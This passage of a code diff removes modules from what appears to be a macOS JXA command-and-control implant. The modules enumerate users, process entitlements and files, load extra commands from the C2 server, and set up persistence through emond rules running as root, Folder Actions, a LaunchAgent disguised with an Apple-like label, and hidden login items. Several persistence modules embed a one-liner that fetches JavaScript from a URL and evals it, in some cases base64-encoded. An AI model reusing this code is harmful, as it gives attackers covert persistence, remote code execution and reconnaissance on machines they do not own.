return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,53 +0,0 @@
|
||||
exports.list_entitlements = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
let le = function(pid){
|
||||
ObjC.bindFunction('malloc', ['void**', ['int']]);
|
||||
ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]);
|
||||
let output = $.malloc(512000);
|
||||
$.csops(pid, 7, output, 512000);
|
||||
let data = $.NSData.alloc.initWithBytesLength(output, 512000);
|
||||
for(let i = 8; i < data.length; i ++){
|
||||
if(data.bytes[i] === 0){
|
||||
let range = $.NSMakeRange(8, i);
|
||||
data = data.subdataWithRange(range);
|
||||
let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $());
|
||||
return ObjC.deepUnwrap(plist);
|
||||
}
|
||||
}
|
||||
return {};
|
||||
}
|
||||
try{
|
||||
let arguments = JSON.parse(params);
|
||||
let output = [];
|
||||
if(arguments["pid"] === -1){
|
||||
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
|
||||
for(let i = 0; i < procs.length; i++){
|
||||
let entitlements = {};
|
||||
let ent = le(procs[i].processIdentifier);
|
||||
if(ent === null || ent === undefined){
|
||||
ent = {};
|
||||
}
|
||||
entitlements["pid"] = procs[i].processIdentifier;
|
||||
entitlements['bundle'] = procs[i].bundleIdentifier.js;
|
||||
entitlements['bundleURL'] = procs[i].bundleURL.path.js;
|
||||
entitlements['bin_path'] = procs[i].executableURL.path.js;
|
||||
entitlements['name'] = procs[i].localizedName.js;
|
||||
entitlements["entitlements"] = ent;
|
||||
output.push(entitlements);
|
||||
}
|
||||
}else {
|
||||
let entitlements = {};
|
||||
let ent = le(arguments["pid"]);
|
||||
entitlements["pid"] = arguments["pid"];
|
||||
entitlements['bundle'] = "";
|
||||
entitlements['bundleURL'] = "";
|
||||
entitlements['bin_path'] = "";
|
||||
entitlements['name'] = "";
|
||||
entitlements["entitlements"] = ent;
|
||||
output.push(entitlements);
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,71 +0,0 @@
|
||||
exports.list_users = function(task, command, params){
|
||||
let all_users = [];
|
||||
let gid = -1;
|
||||
if (params.length > 0) {
|
||||
var data = JSON.parse(params);
|
||||
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
|
||||
gid = data['gid'];
|
||||
}
|
||||
}
|
||||
ObjC.import('Collaboration');
|
||||
ObjC.import('CoreServices');
|
||||
if (gid < 0) {
|
||||
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
|
||||
let grouptolook = 1000 //Most systems don't have groups past 700s
|
||||
for (let x = 0; x < grouptolook; x++) {
|
||||
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
|
||||
let validGroupcheck = group.toString()
|
||||
if (validGroupcheck === "[id CBGroupIdentity]") {
|
||||
let results = group.memberIdentities.js;
|
||||
|
||||
let numResults = results.length;
|
||||
for (let i = 0; i < numResults; i++) {
|
||||
let idObj = results[i];
|
||||
let info = {
|
||||
"POSIXName": idObj.posixName.js,
|
||||
"POSIXID": idObj.posixUID,
|
||||
"POSIXGID": group.posixGID,
|
||||
"LocalAuthority": idObj.authority.localizedName.js,
|
||||
"FullName": idObj.fullName.js,
|
||||
"Emails": idObj.emailAddress.js,
|
||||
"isHiddenAccount": idObj.isHidden,
|
||||
"Enabled": idObj.isEnabled,
|
||||
"Aliases": ObjC.deepUnwrap(idObj.aliases),
|
||||
"UUID": idObj.UUIDString.js
|
||||
};
|
||||
all_users.push(info);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return {
|
||||
"user_output": JSON.stringify(all_users, null, 2),
|
||||
"completed": true
|
||||
}
|
||||
} else {
|
||||
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
|
||||
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
|
||||
let results = group.memberIdentities.js;
|
||||
let numResults = results.length;
|
||||
for (let i = 0; i < numResults; i++) {
|
||||
let idObj = results[i];
|
||||
let info = {
|
||||
"POSIXName": idObj.posixName.js,
|
||||
"POSIXID": idObj.posixUID,
|
||||
"POSIXGID": group.posixGID,
|
||||
"LocalAuthority": idObj.authority.localizedName.js,
|
||||
"FullName": idObj.fullName.js,
|
||||
"Emails": idObj.emailAddress.js,
|
||||
"isHiddenAccount": idObj.isHidden,
|
||||
"Enabled": idObj.isEnabled,
|
||||
"Aliases": ObjC.deepUnwrap(idObj.aliases),
|
||||
"UUID": idObj.UUIDString.js
|
||||
};
|
||||
all_users.push(info);
|
||||
}
|
||||
}
|
||||
return {
|
||||
"user_output": JSON.stringify(all_users, null, 2),
|
||||
"completed": true
|
||||
};
|
||||
};
|
||||
@@ -1,24 +0,0 @@
|
||||
exports.load = function(task, command, params){
|
||||
//base64 decode the params and pass it to the default_load command
|
||||
// params should be {"cmds": "cmd1 cmd2 cmd3", "file_id": #}
|
||||
try{
|
||||
let parsed_params = JSON.parse(params);
|
||||
let code = C2.upload(task, parsed_params['file_id'], "");
|
||||
if(typeof code === "string"){
|
||||
return {"user_output":String(code), "completed": true, "status": "error"};
|
||||
//something failed, we should have NSData type back
|
||||
}
|
||||
let new_dict = default_load(base64_decode(code));
|
||||
commands_dict = Object.assign({}, commands_dict, new_dict);
|
||||
// update the config with our new information
|
||||
C2.commands = Object.keys(commands_dict);
|
||||
let cmd_list = [];
|
||||
for(let i = 0; i < parsed_params['commands'].length; i++){
|
||||
cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]})
|
||||
}
|
||||
return {"user_output": "Loaded " + parsed_params['commands'], "commands": cmd_list, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,138 +0,0 @@
|
||||
exports.ls = function(task, command, params){
|
||||
ObjC.import('Foundation');
|
||||
let output = {};
|
||||
try {
|
||||
let command_params = JSON.parse(params);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let error = Ref();
|
||||
let path = command_params['path'];
|
||||
if (path === "" || path === ".") {
|
||||
path = fileManager.currentDirectoryPath.js;
|
||||
if (path === undefined || path === "") {
|
||||
return {
|
||||
"user_output": "Failed to get current working directory",
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
}
|
||||
if (path[0] === '"' || path[0] === "'") {
|
||||
path = path.substring(1, path.length - 1);
|
||||
}
|
||||
if(path[0] === '~'){
|
||||
path = $(path).stringByExpandingTildeInPath.js;
|
||||
}
|
||||
output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
|
||||
output['update_deleted'] = true;
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
|
||||
let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
|
||||
if (attributes !== undefined) {
|
||||
output['is_file'] = true;
|
||||
output['files'] = [];
|
||||
if (attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] === "NSFileTypeDirectory") {
|
||||
let error = Ref();
|
||||
output['is_file'] = false;
|
||||
let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
|
||||
if (files !== undefined) {
|
||||
let files_data = [];
|
||||
output['success'] = true;
|
||||
let sub_files = files;
|
||||
if (path[path.length - 1] !== "/") {
|
||||
path = path + "/";
|
||||
}
|
||||
for (let i = 0; i < sub_files.length; i++) {
|
||||
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
|
||||
let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
|
||||
let file_add = {};
|
||||
file_add['name'] = sub_files[i];
|
||||
file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $()));
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
file_add['permissions'] = extended;
|
||||
}else{
|
||||
file_add['permissions'] = {};
|
||||
}
|
||||
file_add['size'] = attr['NSFileSize'];
|
||||
let nsposix = attr['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
|
||||
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
|
||||
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
|
||||
file_add['permissions']['create_time'] = Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000);
|
||||
file_add['modify_time'] = Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000);
|
||||
file_add['access_time'] = "";
|
||||
files_data.push(file_add);
|
||||
}
|
||||
output['files'] = files_data;
|
||||
}
|
||||
else{
|
||||
output['success'] = false;
|
||||
}
|
||||
}
|
||||
let nsposix = attributes['NSFilePosixPermissions'];
|
||||
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
|
||||
if( components.length > 0 && components[0] === "Macintosh HD"){
|
||||
components.pop();
|
||||
}
|
||||
// say components = "etc, krb5.keytab"
|
||||
// check all components to see if they're symlinks
|
||||
let parent_path = "/";
|
||||
for(let p = 0; p < components.length; p++){
|
||||
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
|
||||
if(resolvedSymLink){
|
||||
parent_path = parent_path + resolvedSymLink + "/";
|
||||
}else{
|
||||
parent_path = parent_path + components[p] + "/";
|
||||
}
|
||||
}
|
||||
output['name'] = fileManager.displayNameAtPath(parent_path).js;
|
||||
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));
|
||||
|
||||
if(output['name'] === "Macintosh HD"){output['name'] = "/";}
|
||||
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
|
||||
output['size'] = attributes['NSFileSize'];
|
||||
output['access_time'] = "";
|
||||
output['modify_time'] = Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000);
|
||||
if(attributes['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = attributes['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
output['permissions'] = extended;
|
||||
}else{
|
||||
output['permissions'] = {};
|
||||
}
|
||||
output['permissions']['create_time'] = Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000);
|
||||
output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
|
||||
output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
|
||||
output['permissions']['hidden'] = attributes['NSFileExtensionHidden'] === true;
|
||||
if(command_params['file_browser'] === "true"){
|
||||
return {"file_browser": output, "completed": true, "user_output": "added data to file browser"};
|
||||
}else{
|
||||
return {"file_browser": output, "completed": true, "user_output": JSON.stringify(output, null, 6)};
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {
|
||||
"user_output": "Failed to get attributes of file. File doesn't exist or you don't have permission to read it",
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
|
||||
}catch(error){
|
||||
return {
|
||||
"user_output": "Error: " + error.toString(),
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
};
|
||||
@@ -1,97 +0,0 @@
|
||||
exports.persist_emond = function(task, command, params){
|
||||
try{
|
||||
//emond persistence from https://www.xorrior.com/emond-persistence/
|
||||
let config = JSON.parse(params);
|
||||
// read "/System/Library/LaunchDaemons/com.apple.emond.plist" for the "QueueDirectories" key (returns array)
|
||||
// create ".DS_Store" file there that's empty
|
||||
// create new plist in "/etc/emond.d/rules/"
|
||||
let rule_name = "update_files";
|
||||
if(config.hasOwnProperty('rule_name') && config['rule_name'] !== ""){rule_name = config['rule_name'];}
|
||||
let payload_type = "oneliner-jxa";
|
||||
if(config.hasOwnProperty('payload_type') && config['payload_type'] !== ""){payload_type = config['payload_type'];}
|
||||
if(payload_type === "oneliner-jxa"){
|
||||
if(config.hasOwnProperty('url') && config['url'] !== ""){var url = config['url'];}
|
||||
else{ return "URL is required for the oneliner-jxa payload_type"; }
|
||||
let internal_command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
|
||||
url + "')),$.NSUTF8StringEncoding)))";
|
||||
// now we need to base64 encode our command
|
||||
var command_data = $(internal_command).dataUsingEncoding($.NSUTF16StringEncoding);
|
||||
var base64_command = command_data.base64EncodedStringWithOptions(0).js;
|
||||
var full_command = "echo \"" + base64_command + "\" | base64 -D | /usr/bin/osascript -l JavaScript &";
|
||||
}
|
||||
else if(payload_type === "custom_bash-c"){
|
||||
if(config.hasOwnProperty('command') && config['command'] !== ""){var full_command = config['command'];}
|
||||
else{
|
||||
return {"user_output":"command is a required field for the custom_bash-c payload_type", "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
// get our new plist file_name
|
||||
if(config.hasOwnProperty('file_name') && config['file_name'] !== ""){ var file_name = config['file_name'];}
|
||||
else{ return {"user_output":"file name is required", "completed": true, "status": "error"}; }
|
||||
|
||||
var plist_contents = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
|
||||
"<plist version=\"1.0\">\n" +
|
||||
"<array>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>name</key>\n" +
|
||||
" <string>" + rule_name + "</string>\n" +
|
||||
" <key>enabled</key>\n" +
|
||||
" <true/>\n" +
|
||||
" <key>eventTypes</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>startup</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>actions</key>\n" +
|
||||
" <array>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>command</key>\n" +
|
||||
" <string>/bin/sleep</string>\n" +
|
||||
" <key>user</key>\n" +
|
||||
" <string>root</string>\n" +
|
||||
" <key>arguments</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>60</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>type</key>\n" +
|
||||
" <string>RunCommand</string>\n" +
|
||||
" </dict>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>command</key>\n" +
|
||||
" <string>/bin/bash</string>\n" +
|
||||
" <key>user</key>\n" +
|
||||
" <string>root</string>\n" +
|
||||
" <key>arguments</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>-c</string>\n" +
|
||||
" <string> " + full_command + "</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>type</key>\n" +
|
||||
" <string>RunCommand</string>\n" +
|
||||
" </dict>\n" +
|
||||
" </array>\n" +
|
||||
" </dict>\n" +
|
||||
"</array>\n" +
|
||||
"</plist>";
|
||||
// read the plist file and check the QueueDirectories field
|
||||
var prefs = ObjC.deepUnwrap($.NSMutableDictionary.alloc.initWithContentsOfFile($("/System/Library/LaunchDaemons/com.apple.emond.plist")));
|
||||
//console.log(JSON.stringify(prefs));
|
||||
var queueDirectories = prefs['QueueDirectories'];
|
||||
if(queueDirectories !== undefined && queueDirectories.length > 0){
|
||||
var queueDirectoryPath = queueDirectories[0];
|
||||
write_data_to_file(" ", queueDirectoryPath + "/.DS_Store");
|
||||
// now that we have a file in our queueDirectory, we need to write out our plist
|
||||
write_data_to_file(plist_contents, "/etc/emond.d/rules/" + file_name);
|
||||
|
||||
var user_output = "Created " + queueDirectoryPath + "/.DS_Store and /etc/emond.d/rules/" + file_name + " with contents: \n" + plist_contents;
|
||||
|
||||
// announce our created artifacts and user output
|
||||
return {'user_output': user_output, 'artifacts': [{'base_artifact': 'File Create', 'artifact': queueDirectoryPath + "/.DS_Store"}, {'base_artifact': 'File Create', 'artifact': '/etc/emond.d/rules/' + file_name}], "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"QueueDirectories array is either not there or 0 in length", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,67 +0,0 @@
|
||||
exports.persist_folderaction = function(task, command, params){
|
||||
try{
|
||||
// ======= Get params ========
|
||||
let json_params = JSON.parse(params);
|
||||
let folder = json_params['folder'];
|
||||
let script_path = json_params['script_path'];
|
||||
let url = json_params['url'];
|
||||
let code = json_params['code'];
|
||||
let lang = json_params['language'];
|
||||
let code1 = "var app = Application.currentApplication();\n" +
|
||||
"app.includeStandardAdditions = true;\n" +
|
||||
"app.doShellScript(\" osascript -l JavaScript -e \\\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('";
|
||||
let code2 = "')),$.NSUTF8StringEncoding)));\\\" &> /dev/null &\");";
|
||||
let output = "";
|
||||
// ======== Compile and write script to file ==========
|
||||
ObjC.import('OSAKit');
|
||||
let mylang = "";
|
||||
let myscript = "";
|
||||
if(code !== ""){
|
||||
mylang = $.OSALanguage.languageForName(lang);
|
||||
myscript = $.OSAScript.alloc.initWithSourceLanguage($(code),mylang);
|
||||
}else{
|
||||
mylang = $.OSALanguage.languageForName("JavaScript");
|
||||
myscript = $.OSAScript.alloc.initWithSourceLanguage($(code1 + url + code2),mylang);
|
||||
}
|
||||
|
||||
myscript.compileAndReturnError($());
|
||||
let data = myscript.compiledDataForTypeUsingStorageOptionsError("osas", 0x00000003, $());
|
||||
data.writeToFileAtomically(script_path, true);
|
||||
// ======= Handle the folder action persistence =======
|
||||
let se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
let fa_exists = false;
|
||||
let script_exists = false;
|
||||
let myScript = se.Script({name: script_path.split("/").pop(), posixPath: script_path});
|
||||
let fa = se.FolderAction({name: folder.split("/").pop(), path: folder});
|
||||
// first check to see if there's a folder action for the path we're looking at
|
||||
for(let i = 0; i < se.folderActions.length; i++){
|
||||
if(se.folderActions[i].path() === folder){
|
||||
// if our folder already has folder actions, just take the reference for later
|
||||
fa = se.folderActions[i];
|
||||
fa_exists = true;
|
||||
output += "Folder already has folder actions\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
// if the folder action doesn't exist, add it
|
||||
if(fa_exists === false){
|
||||
se.folderActions.push(fa);
|
||||
}
|
||||
// Check to see if this script already exists on this folder
|
||||
for(let i = 0; i < fa.scripts.length; i++){
|
||||
if(fa.scripts[i].posixPath() === script_path){
|
||||
script_exists = true;
|
||||
output += "Script already assigned to this folder\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(script_exists === false){
|
||||
fa.scripts.push(myScript);
|
||||
}
|
||||
output += "Folder Action established";
|
||||
return {"user_output":output, "completed": true, "artifacts": [{"base_artifact":"File Create", "artifact": script_path}]};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,60 +0,0 @@
|
||||
exports.persist_launch = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
|
||||
"<plist version=\"1.0\">\n" +
|
||||
"<dict>\n" +
|
||||
"<key>Label</key>\n";
|
||||
let label = "com.apple.softwareupdateagent";
|
||||
if(config.hasOwnProperty('label') && config['label'] !== ""){label = config['label'];}
|
||||
template += "<string>" + label + "</string>\n";
|
||||
template += "<key>ProgramArguments</key><array>\n";
|
||||
if(config.hasOwnProperty('args') && config['args'].length > 0){
|
||||
if(config['args'][0] === "apfell-jxa"){
|
||||
// we'll add in an apfell-jxa one liner to run
|
||||
template += "<string>/usr/bin/osascript</string>\n" +
|
||||
"<string>-l</string>\n" +
|
||||
"<string>JavaScript</string>\n" +
|
||||
"<string>-e</string>\n" +
|
||||
"<string>eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
|
||||
config['args'][1] + "')),$.NSUTF8StringEncoding)))</string>\n"
|
||||
}
|
||||
else{
|
||||
for(let i = 0; i < config['args'].length; i++){
|
||||
template += "<string>" + config['args'][i] + "</string>\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "Program args needs values for \"apfell-jxa\"", "completed": true, "status": "error"};
|
||||
}
|
||||
template += "</array>\n";
|
||||
if(config.hasOwnProperty('KeepAlive') && config['KeepAlive'] === true){ template += "<key>KeepAlive</key>\n<true/>\n"; }
|
||||
if(config.hasOwnProperty('RunAtLoad') && config['RunAtLoad'] === true){ template += "<key>RunAtLoad</key>\n<true/>\n"; }
|
||||
template += "</dict>\n</plist>\n"
|
||||
// now we need to actually write out the plist to disk
|
||||
let response = "";
|
||||
if(config.hasOwnProperty('LocalAgent') && config['LocalAgent'] === true){
|
||||
let path = "~/Library/LaunchAgents/";
|
||||
path = $(path).stringByExpandingTildeInPath;
|
||||
var fileManager = $.NSFileManager.defaultManager;
|
||||
if(!fileManager.fileExistsAtPath(path)){
|
||||
$.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
|
||||
}
|
||||
path = $(path.js + "/" + label + ".plist");
|
||||
response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path);
|
||||
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true};
|
||||
return artifacts
|
||||
}
|
||||
else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){
|
||||
response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"];
|
||||
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true};
|
||||
return artifacts
|
||||
}
|
||||
return artifacts
|
||||
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,22 +0,0 @@
|
||||
exports.persist_loginitem_allusers = function(task, command, params){
|
||||
ObjC.import('CoreServices');
|
||||
ObjC.import('Security');
|
||||
ObjC.import('SystemConfiguration');
|
||||
let args = JSON.parse(params);
|
||||
// Obtain authorization for the global login item list
|
||||
// Set the item as hidden: https://github.com/pkamb/OpenAtLogin/blob/master/OpenAtLogin.m#L35
|
||||
let auth;
|
||||
let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));
|
||||
|
||||
if (result === 0) {
|
||||
let temp = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, args['path'], args['path'].length, false);
|
||||
let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListGlobalLoginItems, $.nil);
|
||||
$.LSSharedFileListSetAuthorization(items, auth);
|
||||
let cfName = $.CFStringCreateWithCString($.nil, args['name'], $.kCFStringEncodingASCII);
|
||||
let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
|
||||
return {"user_output": "LoginItem installation successful", "completed": true};
|
||||
} else {
|
||||
return {"user_output": `LoginItem installation failed: AuthorizationCreate returned ${result}`, "completed": true};
|
||||
}
|
||||
|
||||
};
|
||||
@@ -1,203 +0,0 @@
|
||||
exports.plist = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
ObjC.import('Foundation');
|
||||
let output = [];
|
||||
try{
|
||||
if(config['type'] === "read"){
|
||||
output = [];
|
||||
let filename = $.NSString.alloc.initWithUTF8String(config['filename']);
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(filename);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(config['filename']), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output.push(contents);
|
||||
}
|
||||
else if(config['type'] === "readLaunchAgents"){
|
||||
output = {};
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let error = Ref();
|
||||
let path = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation + "/Library/LaunchAgents/";
|
||||
let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["localLaunchAgents"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output["localLaunchAgents"][files[i]] = {};
|
||||
output["localLaunchAgents"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
|
||||
//now try to get the attributes of the program this plist points to since it might have attribute issues for abuse
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
trimmed_attributes['NSFilePosixPermissions'] = posix;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["localLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":"Error trying to read ~/Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
path = "/Library/LaunchAgents/";
|
||||
files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["systemLaunchAgents"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
